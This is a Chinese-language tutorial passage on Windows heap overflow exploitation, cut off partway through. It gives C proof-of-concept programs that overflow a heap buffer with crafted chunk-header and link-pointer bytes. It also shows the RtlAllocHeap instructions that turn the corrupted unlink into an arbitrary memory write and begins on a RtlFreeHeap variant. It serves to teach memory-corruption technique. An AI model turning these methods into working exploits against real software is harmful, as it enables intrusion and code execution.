看这个例子 main (int argc char *argv[]) { char *buf1 *buf2; char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x03\x00\x05\x00\x00\x01\x08\x00\x11\x11\x11\x11\x21\x21\x21\x21"; buf1 = (char*)malloc (32); memcpy (buf1 s 32+16); buf2 = (char*)malloc (16); free (buf1); free (buf2); return 0; } 在给buf1完成malloc之后,返回的地址(buf1)是个指针,指向的内存分配情况是这样 buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes) 在给buf2完成malloc之后,buf1指向的内存分配情况是这样 buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|buf2的管理结构(8bytes)|buf2真正可操作空间(16bytes)|两个双链表指针(8bytes) 现在如果在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了 下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes) 共16个字节的时候,就会造成buf2的RtlAllocHeap操作异常。原因看RtlAllocHeap的这段代码 001B:77FCC453 8901 MOV [ECX]EAX 001B:77FCC455 894804 MOV [EAX+04]ECX 此时ECX指向两个双链表指针(8bytes)的后一个指针(0x21212121),EAX指向前一个指针(0x11111111)。类似于format string溢出,可以写任意数据到任意地址,这种情况比较简单,前提是在buf2分配空间之前buf1有溢出的机会 2.利用RtlFreeHeap的方式一 这是ilsy提到的,看例子 main (int argc char *argv[]) { char *buf1 *buf2; char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x03\x00\x05\x00\x00\x09"; buf1 = (char*)malloc (32); buf2 = (char*)malloc (16); memcpy (buf1 s 32+6); free (buf1); free (buf2); return 0; } 由于buf1多复制了6个字节,这6个字节会覆盖掉buf2的管理结构,在free(buf2)时会发生异常。只要我们精心构造这个6个字节就可以达到目的 先看看8字节管理结构的定义(从windows源码中找到) typedef struct _HEAP_ENTRY { // // This field gives the size of the current block in allocation // granularity units. (i.e. Size << HEAP_GRANULARITY_SHIFT // equals the size in bytes). // // Except if this is part of a virtual alloc block then this // value is the difference between the commit size in the virtual // alloc entry and the what the user asked for. // USHORT Size; // // This field gives the size of the previous block in allocation // granularity units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT // equals the size of the previous block in bytes). // USHORT PreviousSize; // // This field contains the index into the segment that controls /